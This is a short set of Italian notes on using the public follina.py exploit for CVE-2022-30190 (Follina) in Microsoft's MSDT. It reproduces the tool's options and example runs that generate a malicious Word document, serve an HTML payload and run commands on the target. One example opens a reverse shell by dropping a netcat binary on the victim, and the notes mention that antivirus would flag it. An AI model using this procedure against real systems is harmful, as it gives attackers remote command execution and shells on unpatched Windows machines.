
Note relative a CVE-2022-30190
Note relative a CVE-2022-30190
FOLLINA: CVE-2022-30190
Utilizza Microsoft Support Diagnostic Tool (MSDT)
Sfrutta la finestra diagnostica aperta per la diagnosi e, se eseguito correttamente, fornisce una reverse shell all'attaccante.
Github: (a). https://github.com/JohnHammond/msdt-follina (b). https://github.com/chvancooten/follina.py
Ringraziamenti: (a). @_johnhammond (b). @networkchuck
Utilizzo follina.py [-h] [--command COMMAND] [--output OUTPUT] [--interface INTERFACE] [--port PORT] options: -h, --help show this help message and exit --command COMMAND, -c COMMAND command to run on the target (default: calc) --output OUTPUT, -o OUTPUT output maldoc file (default: ./follina.doc) --interface INTERFACE, -i INTERFACE network interface or IP address to host the HTTP server (default: eth0) --port PORT, -p PORT port to serve the HTTP server (default: 8000)
Esempi
(a). Avvia calc.exe:
$ python3 follina.py
[+] copied staging doc /tmp/9mcvbrwo
[+] created maldoc ./follina.doc
[+] serving html payload on :8000
(b). Avvia notepad.exe:
$ python3 follina.py -c "notepad"
(c). Ottieni una reverse shell sulla porta 9001.
Nota: questo scarica un binario netcat sulla vittima e lo colloca in C:\Windows\Tasks. Non pulisce il binario. Ciò attiverà i rilevamenti antivirus a meno che l'AV non sia disabilitato.
$ python3 follina.py -r 9001